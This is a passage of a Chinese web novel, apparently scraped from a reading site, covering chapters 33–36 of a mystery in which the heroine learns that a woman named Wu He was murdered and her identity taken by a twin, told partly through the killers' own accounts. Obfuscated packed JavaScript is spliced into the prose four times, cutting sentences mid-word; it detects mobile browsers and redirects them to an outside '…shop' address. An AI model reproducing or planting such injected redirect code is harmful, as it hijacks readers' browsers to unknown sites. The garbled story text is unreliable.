离开前,她回头看了躺在床上的女子一眼,嘴唇翕张,却没有听见声音,不知道呢喃了什么。 没有人知道她说的是:“你真的,是乌禾吗?” 南夙在刚听说那女子叫乌禾时,就曾猜测过,她是灵诏人。 可是南夙并没有在她身上感受到命蛊的存在,加上沈序亲口说她是中原人,南夙便打消了这个怀疑。 上次沈序独自一人来到幸福巷调查,被告知乌家是二十多年前来到京城时,南夙又猜测,或许他们一家是在乌禾还未出生时便来到了京城生活,因此乌禾体内才会没有命蛊,但他的父母,一定是有的。 有了这个猜测,南夙立马让戈辞去查乌家是从何处搬来京城的,这一查,更加证明的南夙的正确。 戈辞没法查到他们在灵诏具体的住址,但只要知道他们是来自灵诏便够了。 乌禾是乌家来到京城的第三年出生的,因月份没到便出生,先天不足,身子虚弱,常年卧病在床。 南夙知晓这一切,想着这好好的一家人,突然就都没了,不免生出几分怜悯。于是虽然在查二皇子与乌禾之事,但她也不免对二人的感情由衷敬佩。 她没再怀疑乌禾的身份,只是想去查清楚为何她没有死,替她下葬的那个女孩子又是谁? 直到清明那日她与巷里人去过一次墓地,见到了那个无名墓。 “乌禾”不是真正的乌禾。 这个念头萌生在她脑中,并从此一发不可收拾,直至根深蒂固。 她方才将自己的血抹在“乌禾”的虎口处,是因为她想看看,“乌禾”体内究竟有没有命蛊。 她受到了微弱的排斥。 那股力量很是虚弱,但却被南夙很敏锐地捕捉到。命蛊是灵诏人的根本,而她主宰着这根本,所以,她成功地窥探。 而究其力量微弱的原因,是“乌禾”的力量实在太弱小。或者说,她生命早已濒死,只靠着几口微不足道的气息存活至今。 她没有任何意识,所以命蛊与死了也没两样。不过受南夙一威胁,因着其保护宿主的本能,拼命地反抗了一下。 尽管力量微不足道。 南夙说不清楚她感受到“乌禾”体内的命蛊时是什么感受,总归不是猜对了谜底的喜悦。 她之所以会怀疑“乌禾”不是乌禾,是因为当时在墓地时听到那几位邻居的话。 “乌禾”死的那段日子,刚好是那座无名墓开始无人打理的时间,这太巧合了。 当然,南夙不会因为这一个巧合就生出这样的怀疑,她当时脑中只是初有怀疑的种子。 直到回来后,她找人问了乌禾父母亲的坟墓所在。 那两座挨在一起的墓像那座无名墓一样,杂草丛生,无人问津。南夙在周围问了问,得到墓从去年开始便没人扫的回答。 与那无名墓几乎在同一段时间。 她心底的怀疑就此初具雏形,直到感受到“乌禾”体内的蛊。 不。 她不是乌禾。 乌禾此刻躺在城外那座没有名字的墓里,而她也像那座墓一样,没有人记得她的名字。 不。 有人记得她的名字。 只是这名字早已冠在了别人身上。 现在提到这个名字,大家都只会想到那个高嫁皇子的“乌禾”了。 “乌禾”借用了乌禾的身份,为了什么?嫁给二皇子吗?她是用怎样的方法拿了乌禾的身份?她杀了她吗? 那她又为何常常去墓边看乌禾呢?为何也没忘了乌禾的父母,难道她真将自己当做乌禾,所以连乌禾的父母也要抢去吗? 南夙觉得脑子里像一下子被塞进了无数的包袱,每一个包袱打开,都装满了黑暗、恶意、她的质问,以及,她对答案的期待与害怕。 她失魂落魄地回了院子,沈序在屋子了远远看见她的身影,忙起身出门接她。 南夙像是了魂魄一般,没有什么精神,一张小脸苍白着,不知道是不是不舒服。 沈序心立马提起来。 “去哪里了?”他扶着南夙的手肘,“怎么脸色这么不好?” 南夙心里难受,泄了力靠在沈序身上,机械地迈着步子跟着沈序往屋里走,刚一坐下。她便忍不住将自己发现的事告诉沈序。 沈序听完,好半晌没有说出话来。 静默就这样在两人中间弥漫出来。 两人都没有打破这氛围,只是安静地看着对方,直到南夙突然落下泪来。 她泪珠一流,便一发不可收拾。 沈序也不说太多安慰的话,只是安静地陪着她,他伸手将她搂进怀里。 南夙扑在他的肩膀处,任由自己的泪水打湿沈序的衣服。 沈序在她后背轻轻拍着。 他说:“乌禾没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195992|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,你还记得她,不是吗?” 语气很轻,很温柔,最能抚平南夙心中的波动。 南夙在她怀里点了几下头,带着哭腔却坚定地说:“我永远记得她。” 她说:“我一定会查清楚这件事。” 沈序抱着她,感受着她的体温透过布料传递到自己身上;感受着她的泪水淌进脖颈,润湿皮肤;感受着她的哭声,她颤抖的身体。属于她的所有的一切。 他想,他怀里这个人,是他所喜欢的,她敏锐、敏捷、敏感、敏识、敏慧。世间一切美好的词都可以形容她,所以,他不想再要她哭了。 以后都不要。 对于死亡这件事,南夙其实是想过的,可能是因为亲眼目睹了阿姎的死,所以南夙早些时候总害怕死亡。 但她不是害怕死亡本身,而是怕死得太难看了。 因为她知道,人嘛,生下来那一刻不就是在等待死亡吗? 可是见了许多人的离开,她又发现,自己对死亡的理解未免浅薄,不太尊重生命的蓬勃。 于是现在,她以不再思考死亡这事了。 她想,先努力的活。 “沈序,二皇妃下葬的时候你有看清她的脸吗?” 情绪平复些后,南夙便开始分析这位二皇妃以及那位下葬的女子的身份。 今夜去乌家她特意看了一下“乌禾”的手,“乌禾”的红痣在右手虎口处,且那红痣不是天生的,而是后期点上去的。 南夙想起来灵诏一个古老的说法:双生落地,父母于婴孩落地三日,取朱砂点于手,长子点左,次子点右,以示区分。此俗流传千年,至今未改。 她以前在石语镇也曾遇到过一对双生子,两人也各被点了红痣,只是不是在虎口,而是点在了手腕内侧。 不过那时圣蛊刚出现活跃的状态,南夙被身边无处不在的蛊虫刺激得头痛欲裂,虽见过二人,但已经无甚记忆了。 今夜再次见到“乌禾”虎口的红痣时,她才模糊想起来。 所以她那时还看了眼“乌禾”的左手,“乌禾”的左手很干净。 她怀疑,当时来到京城,替代乌禾身份的人不止一个。 沈序点头,“封棺是亲眼所见。” “那你有看到她手上的红痣在那只手吗?” 沈序回忆了一下,他当时确实没注意到二皇妃手上的痣,毕竟容貌一样,别人一般都是靠脸认人,若非知道有这些习俗,也不会有人想到。 沈序不知道南夙问她这个问题的原因,问她,“怎么?” 南夙:“我怀疑当初下葬的是这位假“乌禾”的双胞胎姐姐。” 沈序立刻明白她的意思,“你是说,有两个假“乌禾”?” 南夙点头,将灵诏关于双生子的传统告诉她,又提了今夜发现“乌禾”体内的命蛊之事。 乌禾身体不好,常年不出门,想必巷子里没几个人见过她,就是偶尔见一面留了点印象,但换了人,那些人第一反应也是女孩长大了换了模样,也想不到换人上面。 至于为什么街坊邻居都只知道一个假“乌禾”。 南夙决定,明天先去查查乌禾的父母。 34.第 34 章 乌禾父母的墓刚好与乌禾在相反的方向。 南夙与沈序先去墓地转了一圈,那里和南夙上一次来没有什么变化。 他们这次去带上了弯刀和挂纸,将两位老人的墓给打扫干净,挂了纸。 墓地里还有几家迟来的人家在扫墓,看见南夙与沈序在那座荒了许久的墓前磕头,好奇问道:“你们是这墓主人的亲戚?” 南夙听到声音望过去,见一个中年男子站在他们旁边那所墓前。 她点点头,“这是我远房三叔,许久没联系了,这次来京城是想来投奔他家的,没想到听说他已经去了,我们就来看看他。” 说着她抹了抹眼睛。 那男子见她真情如此,不免一阵唏嘘。 “哎,都是苦命人。” “大伯,您知道我这三叔三婶是何时离开,又是因何而离开的吗?”沈序趁热打铁,打算从这男人口中套点话出来。 那男人思考了会,才缓缓开口:“这人呢死了有些年头了,仔细算算,应当有个六七年了,因为什么死的我不清楚。” “那您可知道他有没有什么子女?”南夙适时开口,“不瞒您说,我们去找了他家的院子,可是除了一个老妪,没人在了。” “你说的那个是他家姑娘的奶娘吧,他家就一个女儿,从小病病歪歪的,不常出门,你三叔三婶死后,那姑娘身子也一年不比一年,每年也只有清明那天才能见到她一面,还没来得及打声招呼,又着急忙慌地回去了。倒是有一段时间,她来这墓的次数多了,时间也长了,我们看到过好几次呢。” “我们听说这女儿成了二皇子妃,大伯知道这事吗?” “那当然知道。”男人理所当然地说,“这事当年在这附近几个巷子都传遍了,能嫁给皇子,那可是莫大的殊荣。” “那这女子现在是在皇宫?” “没有,这女子啊,死了。” “死了?”南夙语气惊讶,像是听到了什么了不得的事。 男人声音放低,“这人呐,嫁给二皇子每两年就死了。不过那孩子身子骨本来就不好,突然没了也不是什么震惊的事。” “怎会如此。” 听到这里,南夙已经弄明白了整件事的经过。 沈序说过,二皇子是在三年前被“乌禾”所救,两人在认识半年后成亲,直到一年前,“乌禾”去世。 这也和南夙的猜测完全对上。 无名墓三年前突然出现,正好三年前“乌禾”占了乌禾的身份,救了二皇子。在占领乌禾身份的这些日子里,她给乌禾扫墓,还替乌禾尽孝,每年来看望她的父母。而一年前,假“乌禾”不知道因为什么死去。因此从去年开始便没有人再去看望那两座墓。 至于一年前死的那个“乌禾”,现在正躺在乌家院子里,而下葬的那个,南夙猜测是她的双胞胎姐姐。 可这一切都还只是猜测,要想确定,还需要寻找证据。 “乌禾”为何要占了乌禾的身份?二皇子知道嫁给她的是假“乌禾”吗?为什么原本死了的“乌禾”没有死,反而她的姐姐替她下了葬?又为什么没有人发现假“乌禾”有两个?或者说,二皇子知道有两个假“乌禾”吗? 一系列问题在南夙脑中盘旋着挥之不去。 二皇子那边他们不好下手,现在只能在一个人身上找突破点。 南夙与沈序对上视线。 乌家院子里的老妪。 根据他们所知道的,这老妪是乌禾的奶娘,乌禾很小时就生活在乌家了。那么她一定知道乌禾换了人。 可是她为什么助纣为虐帮着外人加害自家人呢? 深夜,平安巷静得吓人,两个身影轻巧无声地落在乌家院子里。 二人在院子里查探了一番,最终在院子东边角落的一间厢房找到了他们想找的人。 那人熟睡着,呼吸声混浊,好像喘不过气来一般。 南夙轻轻推开一点窗户,手指轻轻一弹,一只荧绿色的小虫扑棱着翅膀往床上那人飞去。 那小虫直直地飞进床上那人的左耳,只见那一刹那,床上的人猛地坐起身来,睁开眼睛。她瞳孔里闪过一道微弱的银绿色的光,只亮了一瞬便熄灭下去。 南夙见真言蛊起了作用,没再如此小心翼翼,她推开门走进房间,沈序在身后跟着她。 床上坐起的人,正是那老妪。 南夙走到床边,乜了老妪一眼。 “说出你的经历。”她手指在老妪面前划过。 起风了。 我叫作常安。 这个名字是我祖母取的,字面意义好像是希望我能够平平安安,但实际并不是。 常安,又读作“常暗”。 因为我是我爹跟私藏在外的外室生的,暗——永远在阴暗处,见不得光的人。 可能会有人疑问,大景官员没有几家不养外室,为何偏偏我这个外室生的孩子就不被喜爱。 我爹以前是监察御史,上任时得到大夫人家的支持,承诺过一生一世一双人。干这个官,时刻都有人盯着你,就等着抓住你的犯错的小尾巴。 而我的出生,刚好给了那些暗处的人机会。 一纸罪状,父亲被贬,身份一落千丈。 但为了不再落人口舌,还是将我和娘亲接回了府里养着。 回家后的日子并不好过,家里没有人喜欢我们,都把我们看作是害了父亲的罪魁祸首。我想亲近家里的兄弟姐妹,却被他们推到在地,朝我扔石头、吐口水。将喂狗的食物端到我面前,逼迫我吃下去。大冬天将我赶下水塘,不许我上岸,那水真冷啊,我一辈子都记得那段在家里生活的日子。 我们过得,比府里的下人还不如。 在那里过了一段灰暗的日子后,我决定,我再也不要忍受他们,我要逃,逃去一个他们都找不到地方。 可是,我该往哪里逃呢? 我没有盘缠,不知道往哪里走。我有的,只有一个遭人唾弃、病弱的母亲。 我想带她走,可是她不愿意,她说她要留下来,父亲是爱她的,他只是受身份掣肘,没法对我们好。她让我体谅一下父亲,说父亲平时那么劳累,别给父亲找不快。甚至,她让我多和兄弟姐妹们亲近。 亲近? 然后被打得满身是伤,痛到晚上翻不了身,哭也不能吗? 我握紧了拳头。 她简直无可救药。 她居然让我体谅她们,我做不到,我恨死她们一家了。 我已经决定要逃。 于是我勒死了她,就用她最喜欢的那条腰带,狠狠地缠上她的脖子。她体弱,不是我的对手,很快便在我的手中失去了呼吸。 我看着她渐渐恢复平静的身体,最后一次亲了她的脸。 然后我头也不回地走了。 临走前,我给这个幸福的家留下了一个礼物——一场大火。 从此,再也没有人知道我是谁,我来自哪里。 我自由了。 离开家的日子很痛快,不用面对恶毒的祖父,讨人厌的父亲,还有那些恶心的兄弟姐妹们,我觉得痛快极了。 可很快,这种兴奋随着逐渐扁下去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204688|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷包一起消散。 没有钱,我就没有饭吃,没有地方住。 我站在路边,惊讶地发现,我居然什么都不会做,我就要死了。 可这时,我遇到了一个人,他自称是个商人,入京行商,对我一见倾心,想要照顾我。 我那时才十四岁,我当真了。跟着他回了家,成了亲。 可到了他家后我才发现,我被骗了,他根本不是什么入京行商的商人,只是个鱼贩,家里只有一个破烂的草屋。 我后悔了,想要离开。他狠狠给了我一巴掌,将我拖进草屋,在那个又脏又乱的床上,我失身了。 他以为这样就能把我困在身边,可是他错了,我不是那种人。 于是又一个深夜,我再一次放了一把火。 第二次杀人,我已经全然没了第一次的害怕,那晚,我忍耐着想吐的欲望,哄他喝了许多酒,将他扔上床后,我绑住了他的手脚,堵住他的嘴,走进厨房拿起了菜刀。 那刀不太锋利,却正合我意,我看到他痛苦地瞪大眼睛,手指用力地抓住了床铺,我把他的手指割了,然后一把火,烧了个干干净净。 我再一次逃离。 可一个月后,我发现,我怀孕了。 这个孩子为什么会出现,他父亲是个骗子,他以后生下来也会是骗子,他父亲是个畜生,他日后生下来会不会也是个畜生。 我想用这些理由告诉自己,不能要这个孩子,我捡起路边的石头使劲地砸向我的肚子,可他没死。 为了养他,我去做了奶娘。每日醒来先给他喂奶,然后去了主家,又给主家的孩子喂奶。 他一天天长大了,我逐渐能从他的脸上看出点他父亲的影子,好几次我都感到恶心,甚至生出将他扔掉的念头。可每一次我将他抱出去时,他总是很乖地抓住我的手指,喊我“娘亲”,我舍不得了。 好在随着慢慢长大,他长得不再那么像他的父亲。 我那时想,这一辈子,就咱们娘俩一起生活,谁也不离开谁。 然后他就死了。 失足掉进了河里,淹死了。 看到他湿透的、小小的尸体时,我没哭。可能是见过的尸体太多了,再见已经掀不起什么波澜。 我将他的尸体葬在了城外,没写名字,我怕下次路过这里时会看到他。 于是很多年后,我也不记得他的身体留在了哪堆土下。 四十岁那年,我在城外遇到了我现在的主家,他们夫妻从外地来,打算迁到京城。 我那时刚失去了上一份工作,许多天没有吃饭,晕倒在路边,被他们救下。 他们见我可怜,雇我去家里做工,后来他们生了一个女儿,我就做了那孩子的奶娘。 那孩子叫作乌禾。 我曾经问过他们是从何处来的,因为乌这个姓氏在大景并不常见,但他们只说是外地来的,并不准确告诉自己。 乌禾那孩子啊,美丽、孝顺、心软,就是身体不好。 可是心太软不好,这道理我从小就懂得,所以才苟活到此。 乌禾就死于心软。 那是个春天,我记得,院子里的槐花开得正好。 一天晚上,一向寂静的院子被一阵敲门声吵醒,自乌家夫妻离开后,很久没有人来敲过门了。 我去开门,见门外是个女子。 那女子一看见她便开始哭,说让自己救救她们。我这时才发现,一边的墙上还靠着个女子,她闭着眼睛昏睡着,没有动静。 我仔细看了看她的脸,发现她们俩居然长得一模一样。 35.第 35 章 我叫作乌禾。 禾苗的禾。 父亲说希望我能够像新出的禾苗一样盎然,健康成长。 但父亲的愿望终究没有实现,我因为月份不足早产,先天不足,从小就病恹恹的。而母亲也因为产后血晕,折损了身子,早早离我而去。 母亲死后,没多久父亲也离开了。 这个家,只剩下我和一个奶娘常安。 那时我十二岁。 常安乳母是我出生前就在家里的,母亲告诉我他们是在城外捡到她的,捡到时她瘦弱不堪,像一株被折断的梅花,倒在大雪中,行人都爱看枝头娇俏的鲜花,因此没有人光顾她。 但父亲母亲救了她,将她留在家里,做了我的乳母。 乳母是一个很和善的女子,她从小便待我很好。父亲给她发的工钱她总爱用来给我买零嘴,买新奇的物件,她还会亲手给我做衣裙。 因此我很喜爱她。 父亲说乳母以前失去过一个孩子,因此格外珍惜我,因此我也常常亲近她。 可有时,我也总觉得她与我的亲近之间好像总有一层薄薄的屏障,任我怎么去撕扯都无法破坏它。 乳母宠我,但并不爱我。 父亲母亲死后,我们相依为命了许多年。我想,这辈子我亲手送别的父亲母亲,如果侥幸能偷得几日闲生,活到乳母后面去了,我也一定要让她体面的走,这样,也算了却了人生所念。 只是可惜,我终于还是先她一步离开了。 可我却不是死于这具孱弱的身子。 那应该一个春天,乳母每日在我耳边念叨着院内的槐花开得有多好,叫我出门看看,可是我却总不想出门,便拒绝了她多次的邀请。 直到一个寻常的夜晚,院门在寂静的夜晚突兀地响起。 乳母去开门,没多久便跑回来告诉我,院外来了两个姑娘。 我家是从灵诏而来,在这京城中并无亲戚,大半夜会是谁上门来? 我有些好奇,虽然那夜我咳嗽不止,但还是下了床,出了门。然后我在院子外见到了那对姐妹。 她们长得一模一样,但有一个像是患了病,始终靠在一边,没有反应。 我问她们叫什么。 清醒的那个告诉我,她叫作乌子,一旁晕着的那个是她的姐姐,叫作乌予。 一听她们的姓氏我便知道,她们同我父母一样,是灵诏人。 我问她们为什么会出现在这里,她告诉我,她们一家今年准备迁家到京城,没想到在城外遇到山匪,父母遇害,姐姐也受了重伤,至此昏迷不醒。 幸福巷就在城边她便想来碰碰运气,看能不能找个好心人帮帮她们姐妹俩。 我自认不是个好心人,可相同的来处,相同的姓氏,甚至都死了父母的相同经历,让我在那一刻,生出了深深的同情。 于是我点了头,让她们进了门。 我被心软占据的思绪没能让我捕捉到她话中的漏洞,诸如京城外怎么可能出现山匪,幸福巷虽不大,却也有二三十户人家,她们怎么就走到了巷子深处,刚好敲响了我家的院门。 她们两姐妹与我们生活了好一段时日,我想为她们找大夫,她拒绝了,说自己学过一点医术,能够自己疗伤。 我对此表示理解。 父亲曾经向我展示过他的命蛊,灵诏人多少都会点医理,这很正常。就连我,小时候父亲也尝试过教我炼出自己的命蛊,我于是看了许多灵诏的医书,只是我身子孱弱,终究是养不活自己的命蛊。父亲不想看我吃苦,便打消了这个念头。 我又问她,需不需要给她的姐姐找个大夫,她同样拒绝了。 我没再强求。 我那时已经意识到她们那夜在撒谎,我将这个发现告诉乳母,问乳母应当怎么办。 她们目的不明,来历不明,留下恐怕多有风险。 可乳母却罕见地同情起她们来,她说服了我,于是我再一次默认她们留下。 后来的日子始终相安无事,我们住在同一个屋檐下,却不总是见面。 我身子不好不常出门,因此也不知她们每日在院子里做了些什么,直到那天。 暮春的阳光暖身,乳母来到我房内,劝我出去晒晒太阳。想着在房内也待了有些时日,我便起了身,去了院子里。 院里的槐花落得差不多了,但仍余下一树青葱。 我躺在槐树底下,闭上眼睛,感受着阳光一点一点的晒走我身上的湿冷,终于感受到了点温暖。就是在这瞬间,我发觉我的身体突然脱离了自己的掌控,我动不了了。 我努力睁开眼睛,看到那个熟悉得不能再熟悉的身影,我的乳母,她站在晃眼的阳光里,直直地站在那里,远远地看着我,没有说话。 在我即将失去意识的时刻,余光里出现了那天夜晚敲响了我的院子的女子。她叫什么来着。 我记得,她那天说:“我叫作乌子。” 可我完全没法把一点思绪分给她,我努力地想要看清乳母的表情,我想看看,她有没有哭。 可能距离太远,也有可能是我的双眼先一步被薄雾覆盖。 那天,我始终没有看到乳母眼中的泪。 于是她在我眼中留下的最后的东西,是那双像看着陌生人一样的眼睛。 从看到那姑娘眼睛的第一刻起,我就知道,她在撒谎。 因为我说过无数的慌话,所以别人一说谎,我也就看出来了,可是我没有阻止乌禾放她们进来。 同情吗? 不可能的,这世界上尚没有一个人同情我,我又何苦去同情他人呢? 或许就是看出了她们的目的不纯,于是我更加想要看看,她们究竟想要做什么。 她们住进来后,一直住在西边的厢房里,除了每日用膳的日子,我并没有什么机会见到她们俩。 我知道乌子的姐姐一定不是普通被山匪弄伤而昏迷的,因为她没有任何外伤,却始终不醒。而乌子,却始终不肯为她姐姐找一个大夫。 我能发现这些,乌禾自然也能发现。有一日她找到我,问我是不是应该寻个借口将人赶出去,我还没弄清楚她们想做什么,自然不想让她们离开,于是我劝她将她们留下。 乌禾从小就听我的话,我对她好,她听我话也是当然的。 她将她们留下了。 我开始去偷听她们每日在房间里做了什么。 火苗蹿起,印在窗户上,让这个尚且温凉的夜晚无端暖了几分。 她在屋子里烧了火,想做什么? 我听见乌子的声音,对她昏迷的姐姐说:“姐姐,你说我们真的要杀了她吗?” 当然没有人能回答她。 我心下惊骇,知晓她们目的不纯,却没想到她们想要取人性命。 要不要告诉乌禾,只在脑中犹豫了一瞬,我便否认了这个想法。 我不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我没去考虑做完这些事后乌子是否会杀掉我,我现在只想等到那一刻,亲眼看到乌禾死去。 乌子告诉准备,下手那天,是那年春天难得的大晴天。 我看着晃眼的阳光想,就今天吧,这么暖和,她不会冷。 于是我进了她的屋子,用以往那温和的声音叫她:“禾儿,今日阳光好极了出去晒晒太阳吧。” 往日里她总会拒绝,偏偏那天,她那么听话,出了房间,就躺在她父亲亲手为她做的那个躺椅上。 我好奇乌子她说的蛊,就站在一边看着她的动作。没有刀剑相向,没有见血,就靠着一只长像奇怪的虫子,默默的,结束了一条生命。 乌禾死时,我看见她的眼泪顺着侧脸滑下来。她会伤心是我预料到的,毕竟这么多年,她真心的把我当作她的乳母。 她好像在努力地睁开眼睛,她想看什么?我吗? 可我站在原地没有动。 我看着她的生命一点点地流逝,直到闭上了眼睛。 她死后,我把她葬在了城外,与她父母亲刚好相反的地方,好像看到他们一家人在一起我就会难受一般。 她的碑我也没写字,可却不再是因为害怕,因为乌子彻底代替了她的身份,所以世界上不能再有一个乌禾了。 36.第 36 章 我的名字,叫作韩世衡。 我与她们不同,我有个人人艳羡的身份,叫作皇子。 出生在皇宫,注定与人不一样。 我的母亲明面被人尊为贵妃,可私底下,却有许多人不认可甚至唾弃她,因为她是靠着卑劣的手段走到这个位置的。 这其实本不是她所为。 她那时只是一个嫔妃身边小小的婢女,做了皇宫里争名夺利的工具。 她被封妃时,我刚出生,那时的她胆小又自卑。 我曾经问过很多次,深宫里给人带来的究竟是什么? 很多年后,我在她身上得到了答案。 贪婪、欲望。 从她第一次将一个心怀不轨的丫鬟推下井里时,我知道她已经不是曾经那个单纯的小宫女。 那年,我八岁,就站在她旁边,亲眼看到她将那个宫女推下水井,记忆最深的画面是那个宫女即将掉进水井时害怕到扭曲的脸。 母妃的脸一定不好看。 我敢肯定,可惜那时候我站在她的身后,没能瞥见她的表情。 从那之后,我的少年时期被繁重的功课乌无止境的打骂给占据。 母亲对我只有一个要求,得到父皇的重视。 那时候正巧父皇找了宫外的大能进宫教导各位兄弟,于是我常和他们共食共寝、同出同进,母妃知道后大发雷霆,罚我在殿外跪了五个时辰。 起身时,我几乎感觉不到下半身的知觉,可母亲只是冷着脸问我:“知道自己错在哪了吗?” 我点头,乖巧认错。 母妃于是温和下来,摸着我的脑袋,说我要争气。 那次回去后,我在床上躺了整整一个月,母妃没有出现。 她有了新的孩子。 那个孩子叫作韩砚,是我的弟弟,亲弟弟。 我看着他躺在摇篮里小小的身躯,决定一定要照顾好他,绝不让他像我这样,不得自由。 我做到了。 我寻了机会将母妃的所为呈到父皇面前,父皇震怒,母妃被赶进冷宫,此生不复相见。 至于韩砚,父皇找了别的人照顾他。 可那孩子却总爱跑到我这里。 我想,血缘亲疏当是分不掉的。 我那时就明白这个道理,可我后来,却毅然决然抛掉了他人的血缘亲属。 我杀了人,为了救人。 杀人对我来说,并不是什么少见的事,生在皇家,身边难免有几个别人的人,而我,也难免要面对各种杀机。 想杀我挺难的,我自小就习武。 可我废了。 自那天罚跪之后。 对了,我忘了说,我忘了说那天母妃拿了根木棍,我忘了说她是如何生气地举起那根木棍,狠狠砸到我的腿上,就为了让我服软跪在她的身前。 那棍子,正好敲在我的膝盖上。 后来我花了一个月的时间去练习,不是练习武功,而是练习如何走的像一个正常人一样。 我废了,我能举起剑,但我却无法准确的挥起它了。 夏天快到了,我记得那些天我总浑身冒冷汗。 总之,天是热起来了。 我接了父皇的命令,去往南京祖陵祈福,路上遭遇埋伏,周围护卫全都因护我而死,我只能自己举刀反抗。 可就像我说的那样,我已是废人一个,我不过是负隅顽抗,可就是那时,一个女子出现救了我,我从未见过那样的功法,轻易就能夺去数人的性命。 后来我才知道,原来这叫作蛊。 她说她叫乌禾,来自灵诏,现在住在京城。 她带我回了她的家,在她的家中,我见到了一个与她长得一模一样的女子,她说那是她的姐姐。 双生子。 我在她家住了一段时间,说起来,她们住的那个巷子,叫作幸福巷,听说因为父皇曾经驻跸而名声大噪。 后来,我们很快的相爱了。 我决定娶她,这辈子只娶她一个人。我问她愿不愿意嫁给我,她不说话,只是递给我一只荷包。 那荷包上绣着的木槿花,是我这辈子见过最美的花。只因为是她亲手所袖。 后来我们成了亲,新婚那晚,我握着她的手,拇指抚摸着她右手虎口的红痣说:“这颗红痣真美。” 她告诉我,这颗痣不是天生,而是后期点的,她姐姐也有一颗,在左手。 我故作好奇地问她是不是家乡的传统。 她却向我展开她的手心,里面躺着一只小小的虫子。 我问她那是什么,她说那叫命蛊,与她同生同死,她们灵诏的每个人都有属于自己的命蛊。 我不在意什么灵诏命蛊,可我听说那东西与她同生同死,为了能够保护她,我开始去搜寻灵诏的古籍,去弄清楚命蛊是什么。 她的爱好很奇怪,我总是拿不清楚,有段时间,她不想住在宫里,我便放她回了幸福巷,派人暗中保护她。 派出去的人回来告诉我,她总喜欢一个人去墓地,去的还是两处刚好相反的墓地。后来我偷偷去看过,一处是她父母的墓,我猜想她是成了亲后想父母亲了,所以常常去看他们。可另一座墓没有名字,我不知道是谁,派人去查也没有查到线索。想着没有什么危险,我也就放任她去了。 还有段时间,我发现她总是一个人待在后院里不出门。我便寻着空闲的时间去看她。 院子里天已经凉了下来,她的屋子里却燥热得慌,我看着屋子里日夜燃烧的火问她在做什么。她说她在练蛊,能救她姐姐的蛊。 她说她姐姐是因为炼蛊时被反噬才会受此重伤,她必须要炼出能救她姐姐的蛊。 我很后悔那时没有阻止她。 直到那日突然有人禀告我她晕死过去,我才知道她究竟做了一件多么危险的事。 我见到她时,她歪倒在床边,脸色苍白如雪,整个人失去了生机,那一瞬间,我感觉到,她就要离开我了。 我控制不住自己发抖的手,也阻止不了她生命的消散。 可我就是接受不了她离开,我找了无数的大夫,只有一个要求,留着她的命。 然后我开始发了疯一样日夜不息地翻看灵诏古籍,终于找到了办法。 灵诏双生子同根同源,其留着相同的血,命蛊可以替换,我于是起了念头,将她姐姐的命蛊换到她的体内。 我成功了,也失败了。 我换了她们的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215310|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛊,乌禾没死,却再也没醒来,至于她的姐姐,她本来就不剩多少时日,乌禾说她死于炼蛊时的反噬,于是决定自己练蛊救她,可炼蛊途中乌禾也走火入魔,成了她姐姐的模样。 我来不及想乌禾醒来会不会怪罪我,我等不了,我只要她活。 可她终究没有醒来,我也多余了这担忧。 我本来想,若是她醒来,我就对外说她病了一场,现在已经恢复了,我幻想着她醒来抱着我、亲吻起,或是在知道我所做之事后给我一巴掌,总归只要她醒着,有点生机就好。 我杀了她姐姐,她也醒不过来了。 她留给我的,只剩下一只褪了色的荷包。 我当时想,哪怕她死了,此生我也只会有她这一个妻子,绝不变心,哪怕现在有人告诉我,她是假的。 韩砚听见这一切,已经在一边哭成了一个泪人。 他实在没想到,自己能够没心没肺长大的原因,竟然是他兄长从小到大吃的苦。 “哥。”他哭着上前两步抱住韩世衡,“都怪我。” 韩世衡摸摸他的脑袋,“怪你什么?怪你生得太晚吗?” 韩砚流着泪说不出话来。 “我们兄弟俩,总得有个人活得自在些才好,我没享受到的,你都替我活一遍,好不好。” “哥!”韩砚哭得更大声了,他整个人埋在韩世衡的怀里,像极了一只体型巨大的兔子在撒娇。 南夙在一旁看得嘴角抽抽,虽然她对韩世衡口中的故事难免生出几分动容,但在整件事中,最无辜的人,是乌禾。 “你的妻子不叫作乌禾,她叫作乌子,你应该把这个身份还给乌禾。” 南夙上前一步,面朝韩世衡说道。 